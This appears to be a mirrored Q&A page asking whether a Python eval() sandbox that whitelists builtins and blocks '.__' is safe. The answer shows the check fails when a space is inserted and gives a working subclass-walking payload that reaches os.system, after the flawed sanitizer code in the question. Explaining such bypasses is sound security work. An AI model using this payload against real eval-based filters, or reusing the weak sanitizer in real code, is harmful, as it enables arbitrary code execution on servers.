通过明确地将内置函数列入白名单并避免dunders来安全eval()?

问题描述 投票:0回答:1

我知道在不受信任的输入上使用

eval()
是不可取的,但我想看看这个清理程序在哪里失败。它使用白名单只允许无害的内置函数,并且如果调用任何 dunder 属性,它会立即退出。 (注意:它字符串搜索
.__
而不仅仅是
__
的原因是因为我想允许像
foo.bar__baz
这样的事情)。

def safe_eval(code: str) -> Any | None:
    if '.__' in code:
        raise ValueError

    allowed_builtins = [
        'abs', 'all', 'any', 'ascii', 'bin', 'bool', 'bytearray', 'bytes', 'callable', 'chr',
        'complex', 'dict', 'divmod', 'enumerate', 'filter', 'float', 'format', 'frozenset',
        'hasattr', 'hash', 'hex', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'list',
        'map', 'max', 'min', 'next', 'object', 'oct', 'ord', 'pow', 'range', 'repr', 'reversed',
        'round', 'set', 'slice', 'sorted', 'str', 'sum', 'tuple', 'zip'
    ]

    return eval(
        code,
        globals={
            '__builtins__': {
                builtin : getattr(__builtins__, builtin) for builtin in allowed_builtins
            }
        },
        locals={},
    )

回复:“你为什么要这样做?”我希望能够根据用户输入过滤 python 对象。这些对象是应用程序中“会话”的“有效负载”,因此允许用户根据有效负载内容上的任意表达式来过滤会话 - 例如

len(payload.things) > 12
- 将是一个有用的功能。

所以我的问题是:什么输入字符串将允许攻击者访问评估“外部”的数据,即脚本中的变量或访问操作系统?

python eval sanitization
1个回答
0
投票

只需输入一个空格:

. __

标准旁路工作正常。

[x for x in (). __class__. __base__. __subclasses__()
 if x. __name__ == 'Quitter'][0]. __init__. __globals__['__builtins__']['__import__'](
'os').system('install ransomware or something')
© www.soinside.com 2019 - 2024. All rights reserved.